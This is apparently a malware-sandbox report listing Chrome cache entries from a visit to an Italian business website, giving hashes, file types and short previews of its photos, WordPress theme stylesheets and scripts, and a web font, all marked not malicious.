File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:18:03], baseline, precision 8, 1500x630, components 3
Category:	downloaded
Size (bytes):	1019783
Entropy (8bit):	7.9803975392161215
Encrypted:	false
SSDEEP:	24576:LXOcBLmxXHIKQLbJ4gO0q4DNHWfnBikVdj4:LTAHmq+q4hH+YkVC
MD5:	028411E9FD93E1611117FCC8D54A7748
SHA1:	773EE4E28A7750E05CE2A15AEA927F734493B8D7
SHA-256:	A4EA5F523316D455B2703B8C18519C84842DED59C7EC962E14101B6C550AA23A
SHA-512:	D1A41BA1EB6F438836963FA821AF9C71604F4E1BBCF55EFB34F2DC2747B38BC29182E0FDB01F73DCC18272408B66DE8699A9FC720F8720EE0C373A0B0518F1D1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg
Preview:	......JFIF............).Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:18:03.YOUGENIO..'........................."...........'...........0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.............................................................................................../.......................................1.......T...2.......^...3.......~...4...........5...................2...........2024:07:17 18:14:00.2024:07:17 18:14:00.+02:00..+01:00..+01:00..P.V.@B..............d.......d...,...d...N...d...d.......d.......1D000530......d...\|...d.......d.......d...FUJIFILM..XF18-55mmF2.8-4 R LM OIS..1CC10160................................

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1178
Entropy (8bit):	4.466350213184545
Encrypted:	false
SSDEEP:	24:eN0qZ2hcB7G1B8up8GzeSFJtQvX6MSqc69sDYL:eN0ogmueHyJeXF9SYL
MD5:	69F11D7D576F136EE22049A9D2E01B9A
SHA1:	651A4C6FFD9C0C8D289218B4A6BD1AE1AC5B2502
SHA-256:	BC0C819BC7DE24CD41C37A564AA1AFB2C10692995F71A2FE639F849C59BDD5DC
SHA-512:	11B5C62B5D4F00E5AAAE0E53702469AF2E50D9137309DCEA78851121C857537D3A1101F180663E9E9B1E527306E8C553822A861EB8C38C12C7F929F405A4E332
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_row/grid_row.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================..Layout Grid + Cells..====================================================================================================================================================== /...av-layout-grid-container{width:100%; table-layout: fixed; display: table; border-top-stye:none; border-top-width: 0px;}...flex_cell{display: table-cell; padding:30px; vertical-align: top; }...flex_cell_inner{display: block; position: relative;}.....av-border-top-bottom{border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px;}...av-border-cells .flex_cell{border-left-style: solid; border-left-width:1px;}...av-border-cells .flex_cell:first-child{border:none;}...av-layout-grid-container + .av-layout-grid-container{border-top:none;}....../no image radius if zero padding cell*/...av-zero-padding .av-hotspot-container-in

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:17:40], baseline, precision 8, 1500x630, components 3
Category:	dropped
Size (bytes):	1064197
Entropy (8bit):	7.981761717568579
Encrypted:	false
SSDEEP:	24576:JHxmVQSGoe0Vjwmd91GeIll4Fh2rfEOHCnNHx:JgU0w61E0FheZin
MD5:	2A205D069189012204AEE5B882EBF9F0
SHA1:	B4357A4004072D8A793689BFC8D4D792E5ACCAF6
SHA-256:	DFC1D761C4390200D4138CB00F6B35FACEDEC3E2A2E9BE1F1E0A087CC5151CC9
SHA-512:	266B5CD10B5D15954D56510687744445E41EBD26CA785449E22BB51EA4843AD99A87441801A4C7DEF4455BC099E93A55F4BB214705F8AF4E630524FFEC0E6C90
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:17:40.YOUGENIO..'........................."...........'....... ...0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.......................................................................................................................................1.......T...2.......^...3.......~...4...........5.......................G.......2024:07:17 17:12:42.2024:07:17 17:12:42.+02:00..+01:00..+01:00...q'.@B..VLV.@B......d.......d...d...d.......d...d.......d.......1D000530......d.......d.......d.......d...Viltrox.AF 13/1.4 XF..00000404........................................(.....

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2479
Entropy (8bit):	4.963011236436383
Encrypted:	false
SSDEEP:	48:ixer0dLTjKeRppewcBavmxYFf9LRS6H2eULXVNbVNN:pr0RKebpew/XhiLbLN
MD5:	790E1AD99A07909FFB048F2626A66384
SHA1:	7382F718553D587CC674ACBBD739910B14DAE007
SHA-256:	67BEDB2EE8610992E6666C8BC8E08192F70F4C9883C16A1671983251D62ACBCF
SHA-512:	6CCF318AA3AF251617AAC5B67130D92E3079401264B925E7330CA210362F4040EC84B78169B3716B5E3141F95BFA03408E85E7311957BFC02726F76A8F64690F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/icon.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.ICON.====================================================================================================================================================== /../right icons/.#top .av_font_icon a{color: inherit; display: block;}..av_font_icon a:hover, .av_font_icon a:focus {text-decoration: none; }..av_font_icon { display:block; text-align: center;}..avia-icon-pos-left {float:left; margin-right: 0.5em;}..avia-icon-pos-right {float: right; margin-left: 0.5em;}...../tooltip/..#top .avia-icon-tooltip{ width:250px; font-size: 15px; line-height: 1.6em;}.../big icon with border/..av_font_icon.av-icon-style-border .av-icon-char{.-webkit-backface-visibility: hidden; /fix bug in webkit where item shifts a few px on hover*/.}...av_font_icon.av-icon-style-border .av-icon-char{.-moz-box-sizing: content-box;.-webkit-box-sizing: content-box;

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 1500x630, components 3
Category:	downloaded
Size (bytes):	835036
Entropy (8bit):	7.979982287639451
Encrypted:	false
SSDEEP:	12288:5vcW0GiI9uhhrqtbdnhGnIruCKa6lDS0Kezf7Mm2DKo521MmnoCCJiyan9rYjJtM:iLIaeteIqCKjT7wvIlyh/MWY
MD5:	9589E20DF5D6622D02B50D7FD39FEFD4
SHA1:	0AB655B5574DFF4B9EAA2EE7488AC76D7A7E1248
SHA-256:	CC253D9002882E1FE40212D055A2D3C61269752D4E0FE5B7AEA1A7D9C7632037
SHA-512:	A88DD06FF946A0F76484EFA5B47BC5765970034EFF6A3B57E13EDEDC21CDD144AE795D8273E36395CA57087A3D5E59C91CCCF41E6A55FE667A8C4C39C13E1FA0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg
Preview:	......JFIF.............dICC_PROFILE......Tlcms.0..mntrRGB XYZ ............acspMSFT...................................-lcms................................................desc.......>cprt...H...Lwtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...0...$mluc............enUS...".....s.R.G.B. .I.E.C.6.1.9.6.6.-.2...1..mluc............enUS...0.....N.o. .c.o.p.y.r.i.g.h.t.,. .u.s.e. .f.r.e.e.l.yXYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T{..L.......&f...\...C....................................................................C.......................................................................v................................................S........................!..1.A.."Q.2aq.#...B..R.....$3b...%Cr.&4..'...56DScs(7EF...................................W......................!1..AQ.aq.."....2......#B...R3b.$r

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6521
Entropy (8bit):	3.608873022770343
Encrypted:	false
SSDEEP:	96:sV6/l9KLvPvHgARGZv8xis1UdladZ2/SDK4soea32pB5xmiY:smbMvPvHgARGZv81fdo/SD74a32KiY
MD5:	23EAD2A4210E41EDEC1EB832658C70D5
SHA1:	3BDF7DFA0DB381DF05121A685EB7886A4485E176
SHA-256:	4608E5697A24255F61DF701FBC0868A521F660C95049986B99FEEB7C212CCD8E
SHA-512:	EC741E4F4FCC47E4DCA631A6233DAABEB7BA64781CEE596427B4BC0AE6DD8C862F228F9F2F1592B5589713A80BCFA3B0ECD9DE981C40E970ECA561850DAEC125
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Avia Timeline.// -------------------------------------------------------------------------------------------...(function($) {. "use strict";.. $(window).on('load', function (e) {. if ($.AviaSlider) {. $('.avia-timeline-container').avia_sc_timeline();. }. });... $.fn.avia_sc_timeline = function (options) {.. return this.each(function () {.. var container = this,. timeline_id = '#' + $(this).attr('id'),. timeline = $(timeline_id),. methods;.. methods =. {. // make sure all milestones have the same height in horizontal timelines. matchHeights: function(){.. //date.......this.setMinHeight( $(timeline_id + ' .av-milestone-placement-top .av-milestone-date'), true );........//content.......this.setMinHeight( $(ti

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	8056
Entropy (8bit):	4.773168794594566
Encrypted:	false
SSDEEP:	96:MPVYtfFmJjA14X5aIeivPWbOMF30PvuT/O9qlGXVW15fBFhAtfSY+IQBxF:SjA5YvebOC3ZWpS7h2mJ
MD5:	D367FB7182DA13691672DC5FB4062EE2
SHA1:	364247F8C2511AA0B801C3BA38FF259C3AB658BE
SHA-256:	E67830A7AA3816D2D81D3910B57E724BF3E5C72362690764E7F380F1EF2CFF44
SHA-512:	B6EC0AF265E7EEC62FDA4E7819D4E7878D9FB46416BB9B28FAFE1E3D6B834FC4C0B52AACBA415B0331A848A45C999C039C2363E5957407D662024319FEA55825
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Masonry.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_masonry = function(options)..{...//return if we didnt find anything...if(!this.length) return this;......var the_body = $('body'),....the_win. = $(window),....isMobile = $.avia_utilities.isMobile,....loading = false,....methods = {...........masonry_filter: function()....{.....var current..= $(this),......linktext.= current.html(),.... ..selector.= current.data('filter'),.... ..masonry .= current.parents('.av-masonry:eq(0)'),.... ..container .= masonry.find('.av-masonry-container:eq(0)'),.... ..links..= masonry.find('.av-masonry-sort a'),.... ..activeCat.= masonry.find('.av-current-sort-title');............links.removeClass('active_sort');......current.addClass('active_sort');......container.attr('id', 'masonry_id_'+selector);............if

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4249
Entropy (8bit):	4.2791559324031185
Encrypted:	false
SSDEEP:	96:l7EXF3SFOrbSfS0YCeLw/M81Xif1Ile+96Yczd1Pf/H:qXF3SFOrbSfSXLKM81Xif1Iw+96Ykdpn
MD5:	40BF628F0D1CA7E9E8B6A2372F82CAEB
SHA1:	A8710B38F79E61346D34BD61F596D2DD6D7EB0FF
SHA-256:	802E6AC589C74C9617F5160E5FB0A71D37CE9BCB984E65AE436D1C5D149770ED
SHA-512:	534EB010B4EEDB303C7508444888EEA377D38433CCFD406FEFA1724D69D62B237CFAC793A7007222E1AE8E5FF4A5FE5EFD0805FB8B6B06AD9C7A00F0E0DF896F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5
Preview:	(function($).{.. "use strict";. . $(document).ready(function(). {....// decreases header size when user scrolls down. avia_header_size();. });. . . function av_change_class($element, change_method, class_name)..{....if($element[0].classList)...{....if(change_method == "add") ....{.....$element[0].classList.add(class_name);....}....else....{.....$element[0].classList.remove(class_name);....}...}...else...{....if(change_method == "add") ....{.....$element.addClass(class_name);....}....else....{.....$element.removeClass(class_name);....}...}..}......function avia_header_size(). {. var win....= $(window),. header = $('.html_header_top.html_header_sticky #header'),. unsticktop..= $('.av_header_unstick_top');. . if(!header.length && !unsticktop.length) return;. . var logo = $('#header_main .container .logo img, #header_main .container .logo a'),. elements = $('

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:18:28], baseline, precision 8, 1500x630, components 3
Category:	downloaded
Size (bytes):	1239965
Entropy (8bit):	7.960786231140686
Encrypted:	false
SSDEEP:	24576:Xe60ItaExfe+3XbR3nhtCgyp9cfrgY005OdIQ8s3zux1dUFybGAW2W:wQ1w+TYg49o0kagxn+2W
MD5:	F0579B8AE93BD1FEA23B93C2C436D08D
SHA1:	452C4E59A795133CE344275F3ACD8B93E04A4B24
SHA-256:	2FE962E388BA7FCAAF4AD6F6BEDD012C7721DBD4928BBD6454096FED37AD0950
SHA-512:	5CBA97DB96D0D59ED24911F0F38F68E92974DADC4EA9F9D629FAD2A662F75805D1B2C18474B38F5764C48695D7CCB5D7ACCADF419CE8716E5D87104FB70E26AD
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Sala-interna1-1500x630.jpg
Preview:	......JFIF............:.Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:18:28.YOUGENIO..'........................."...........'...........0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.......................................................................................................................................1.......T...2.......^...3.......~...4...........5...................}...........2024:07:17 19:15:38.2024:07:17 19:15:38.+02:00..+01:00..+01:00...Jj.@B..f...@B......d.......d...d...d.......d...d.......d.......1D000530......d.......d.......d.......d...Viltrox.AF 13/1.4 XF..00000404........................................(.....

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2265
Entropy (8bit):	4.827101287152053
Encrypted:	false
SSDEEP:	48:Lf+WE0f1BeVdXr7R8tZcJ+LfDtLA2NhUGmMveuYl0gr:fECeTXaOwRksUIj0D
MD5:	529883AE359EE5DAEE35300D215693C8
SHA1:	96C69AF51D03E2C9D2AFDCD15269308A04842B97
SHA-256:	CC2FC51FC5ADE58E3350056A062F6817C41544909061CA953F4AAA41C1EA6D1B
SHA-512:	1B873C71FD93C6CDDA63FFFFDF8E7BDE54E41D37DD7F9ED0EFDAB48585B28584DC6D4AA797663CFAAA32E4580A26DA124756EC95FEABCC42116C0C80003748C3
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.HR.====================================================================================================================================================== */...hr{.clear: both;.display:block;.width:100%;.height:25px;.line-height:25px;.position: relative;.margin:30px 0;.float:left;.}...hr-inner{.width:100%;.position: absolute;.height:1px;.left:0;.top:50%;.width:100%;.margin-top:-1px;.border-top-width:1px;.border-top-style:solid;.}..#top .hr-invisible, .hr-invisible .hr-inner{margin:0; border:none; }...hr-invisible {float:none;}...hr-full, .hr-big{margin:70px 0;}..hr-full .hr-inner{width:300%; left:-100%;}..hr-full.hr-shadow .hr-inner{ box-shadow:0 1px 2px 0px rgba(0, 0, 0, 0.1);}..sidebar_right .hr-full .hr-inner{left:auto; right:-50px;}..sidebar_left .hr-full .hr-inner{left:-50px;}.....hr-short{height:20px; line-height:20px; margin:30p

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (850)
Category:	downloaded
Size (bytes):	851
Entropy (8bit):	4.6719894053836635
Encrypted:	false
SSDEEP:	12:lmcxp9bLpzTTmRGvTUfRGFeOKFzEmL1NLxmFWEDmkFWEhaXBmb:lzxlD0+TYueOkzh19xmpDmkphII
MD5:	53796B73587B4A58B8904D127EAA51F9
SHA1:	B7160B6CEAEA4E424CF2F9EF31DE57CAC1E04397
SHA-256:	E8B5C0F1AAB454E3DD3D47BDB0D6BE1A54C0C350DFF5FEAA3A595937E2006DF1
SHA-512:	CFE626692ECAB4FF9EF024B0D427C190F8AA0D944BDF4D353C54215D1113522EA05C58D7AB6DFD2A0FFC11D312C26D65A69886CCDE0CCDC96899AB9C21B79541
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-horizontal/style.css?ver=1
Preview:	.wpml-ls-legacy-list-horizontal{border:1px solid transparent;padding:7px;clear:both}.wpml-ls-legacy-list-horizontal>ul{padding:0;margin:0 !important;list-style-type:none}.wpml-ls-legacy-list-horizontal .wpml-ls-item{padding:0;margin:0;list-style-type:none;display:inline-block}.wpml-ls-legacy-list-horizontal a{display:block;text-decoration:none;padding:5px 10px;line-height:1}.wpml-ls-legacy-list-horizontal a span{vertical-align:middle}.wpml-ls-legacy-list-horizontal .wpml-ls-flag{display:inline;vertical-align:middle;width:18px;height:12px}.wpml-ls-legacy-list-horizontal .wpml-ls-flag+span{margin-left:.4em}.rtl .wpml-ls-legacy-list-horizontal .wpml-ls-flag+span{margin-left:0;margin-right:.4em}.wpml-ls-legacy-list-horizontal.wpml-ls-statics-footer{margin-bottom:30px}.wpml-ls-legacy-list-horizontal.wpml-ls-statics-footer>ul{text-align:center}.

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (360)
Category:	downloaded
Size (bytes):	2730
Entropy (8bit):	4.934182973450626
Encrypted:	false
SSDEEP:	48:fd0ZdRNsRM9eRM1ZpUMrkD+qvvcwJlFvRVRZNT6T0piVXPA0QeV+aNjTa:iFsMrkD+qRFgei1YLeQaBu
MD5:	257E347F8B104D3D4C8940F922C5D9DF
SHA1:	7C62445EC075EF44FF4E92B53B788B547E2AC1A6
SHA-256:	D71395C8250090D4401566998AEA757176D9A060F34F10A5DFA02954F43C11C3
SHA-512:	0238B2527FDA797F35F25ECB2CD3E70AF9798CAED5ABEFF6CC6C476D35A76DCE39415DD1C798579E8D6FBE2B4A2AB3BF4F54B9870A7CC64F4A0B6D65A7F0C759
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Animated Numbers.====================================================================================================================================================== */...avia-animated-number{.display: block;.clear: both;.position: relative;.text-align: center;.}...avia-animated-number:hover{text-decoration: none;}..avia-animated-number-content{line-height: 1.3em;}..avia-animated-number.avia-color-font-light .avia-animated-number-content, .avia-animated-number.avia-color-font-light .heading{.color:#fff;.}...avia-animated-number.avia-color-font-dark .avia-animated-number-content, .avia-animated-number.avia-color-font-dark .heading{.color:#222;.}..#top .avia-color-font-custom .heading {.color: inherit;.}...avia-animated-number.avia-color-font-embossed .avia-single-number{.text-shadow: 0 1px 0 rgb(203, 203, 203), 0 2px 0 rgb(201, 201,

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	4.893827432984945
Encrypted:	false
SSDEEP:	96:YO3Uejknqcd98d+DYiXKpc7mcG4bRkDf53:YqjknbjmH
MD5:	777A2713EE53862260BEE5CB0C33089C
SHA1:	C98C8B63E40D551F5A2F5658807660C305E66CFE
SHA-256:	5F38C27B1CAA42E09FD9429E5E669A7923BF86DEF89E6326AACE23F0AF10D913
SHA-512:	20DC563250091E4CFA6BA7A0962076ABD18C84DE988343E9E6D48D45E558DE2AA24A42A7793BAC13FCA84696F11C6024C34B91B348673C493BD048E51152D478
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Tab Shortcode.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_sc_tabs= function(options)..{...var defaults =...{....heading: '.tab',....content:'.tab_content',....active:'active_tab',....sidebar: false...};.....var win = $(window),....options = $.extend(defaults, options);.....return this.each(function()...{....var container .= $(this),.....tab_titles .= $('<div class="tab_titles"></div>').prependTo(container),.....tabs ..= $(options.heading, container),.....content .= $(options.content, container),.....newtabs .= false,.....oldtabs .= false;......newtabs = tabs.clone();....oldtabs = tabs.addClass('fullsize-tab').attr('aria-hidden', true );....tabs = newtabs;......tabs.prependTo(tab_titles).each(function(i)....{.....var tab = $(this), the_oldtab = false;.......if(newtabs) the_oldtab = oldtabs.filter(

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4975
Entropy (8bit):	4.866935622982883
Encrypted:	false
SSDEEP:	48:kGABUpZN7wgOavwggXNnvxacX5TlUQX33Yi2AdAklbHUt0nnBvpdNqs4JMyqM7w4:ZABUpnLMpdx+QX3xlHxv/NqX7gugeT
MD5:	26E6FB56D44A236661556EF720264B89
SHA1:	1944F1DE99A0DA954F01518A8256938409F719BE
SHA-256:	A996B0EAC3460F60BDD23A78795A049A70483324F2344D52C704365A1537F2DA
SHA-512:	8F096A4DADA198A7AE1F9EE43294DB850AD04C7A9776058B9C126F2C2CBCD658F55FE1AD06B74D76F4414F770C7BA927E15ED14E740D48632D2440A5BAE7748A
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Avia Text Rotator..// ..// accordion slider script..// -------------------------------------------------------------------------------------------...$.AviaTextRotator = function(options, slider)..{.. this.$win. .= $( window );.. this.$slider .= $( slider );.. this.$inner. .= this.$slider.find('.av-rotator-text');.. this.$slides.= this.$inner.find('.av-rotator-text-single');.. this.$current = this.$slides.eq(0);.. this.open..= 0;.. this.count..= this.$slides.length;.. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utilities.supported.transition = $.avia_utilities.supports('transition');...}......this.browserPrefix .= $.avia_utilities.supported.transition;.. this.cssActive ..= this.browserPrefix !== false ? true : false;...this.property..= this.browserPrefix + 'transform',......//this.cssActive

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48336, version 1.0
Category:	downloaded
Size (bytes):	48336
Entropy (8bit):	7.995815173088384
Encrypted:	true
SSDEEP:	768:aHPbHlNlYMCZibwJi/6WwetfISUeR/nQipVg2Ddz9fZIMiktaFm5x4KSz0h1wO:0DyMYibQi1fI7exQvW9RIMTim56KSz0z
MD5:	BFE7AD4AA54CFF8909B2D7632073CC30
SHA1:	7C2E625BEA4D449CA78CDE09AB59DC6C9CB4726F
SHA-256:	47D477915FA5912616E2DC5DF8C5780F9202671678CF275472BD39F3381C0098
SHA-512:	B083C9E0766F281A39F582404F08B3D3314C7757AC151C4CB00BD3CECEB4FA06B12D08D881A2C6BF80A066ECAD22FECE7CFF41269D2DBD2BFE38D873922A31FF
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyC0ITw.woff2
Preview:	wOF2...................S..........................g...l..P?HVAR...`?STAT.8'2..4....../~.....$..U..,.0..<.6.$..T. ..J.. ...[3mq..c..5.Hu..ev.5.c.L6e....<.>U..#0l..h.........F.m........."...,V...\.i....;zG-....%..Nt.j....l..m.p.`=....%...}^B).I.Q..qt.l..l...i.......9~....P.".tj.._?.P.j...B.r...'...Zh...}......M].+......k].!..E<.{.........."........m...$C.."_i.>.i@.=.#......s...........%...;."...U.....n,...DO.W.n..85.._.Bj9..nN.T.xl.U".Xq^...y.......<.2'.... .`...WCT.W........?{wI.!.B..C..B.$..Zh..0/ b.....P.(X..?..._Pi.4;`y....gi.j.Zu=.8......>...{U..K..X.P.hN......=.....C..,............f.eE.l...e.Y...K.Xf.u.%f...k...+"V.Y"W.bD.........~.[.~QL.z2.......V.Bd..j.D...]...X.5d........){....G~Q.x....{.{.=\.5.h...DB...H]V'.....<...sD....=D(.......^.&M.2....M(iH.8<........p\d.Wo.....@..A....U..M..K...z".%....n...k.T/a..d(..5s1..P..K..i.]l..+.......ZK7H\D.N...].kL.......^.^...K)(r.J.W..L2Y...?..`.......&.%....{?T.:P9.\%..E*....H....`....r....Q.....Rw....T..}....M

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=15, height=2667, bps=194, PhotometricIntepretation=RGB, manufacturer=Canon, model=Canon EOS 6D Mark II, orientation=upper-left, width=4000], baseline, precision 8, 5727x1899, components 3
Category:	downloaded
Size (bytes):	1101494
Entropy (8bit):	7.9387573423984055
Encrypted:	false
SSDEEP:	24576:nJuzPp6aib0YJIAADJrU4KoNRSSTLLbhaaIIEzaG:nJuBiPJHGKO7nnI1
MD5:	88DE45CAC853143B9E28DB80D4C8E8FA
SHA1:	88DD4DD8F801E1800E0A7A94A7BBC4C7FE8F7149
SHA-256:	55D363AB641C65F81109115A8DDACE66EC40F1A066581605DD31B970AA6E49A9
SHA-512:	29F615C9164F11003D1937F3E230D5B6489FB695B994E54D04B9C20A4F5211DE543595FED4398456E184793184C591CB63C9A6D75FFCAD90CB7A2800A7DAB758
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg
Preview:	......Exif..II*...........................k...................................................................................................(...........1...........2...........;.......&...i.......8.............Canon.Canon EOS 6D Mark II...-..'....-..'..Adobe Photoshop CC (Macintosh).2019:09:11 12:13:45.Mariano Romani.... ........................."...........'...........0...........2...................0230....................................................................................................................00..........00......................_...........k.......................&...............................................................1...........2.......;...4.......[...5.......s...............G.......2019:06:25 10:28:57.2019:06:25 10:28:57..Qr.@B..VLV.@B..................&........Ud......Ud.....053051007305.........F.......................EF24-70mm f/2.8L II USM.6075004335.........................................(.......................................H.......H.....

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 74, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	28207
Entropy (8bit):	5.4008387140017
Encrypted:	false
SSDEEP:	384:/JN9NvO3tT508SkWARqtMJEOJaFekr3jhVe5Wz:BN9Nv4t2hkP6OwZ3jhh
MD5:	E6B2EFBE08AD337A88FC61DB5A933523
SHA1:	5DCA2862DD84D3F699EBC0DB5123A1852D2752CB
SHA-256:	9D212738DCE90AC9B477D86929CA0FA08B4453EB7AB9868E24040B3200612A29
SHA-512:	D1B67DEC88C1EA0C71567849EC9C2106C34831AE24D8C2B16A8F6E83F361B64A5BDDE62EFBCAC71198CE7F12EA5AAA47A85B4EFAE4CC9178A5391617064BD8F1
Malicious:	false
Reputation:	low
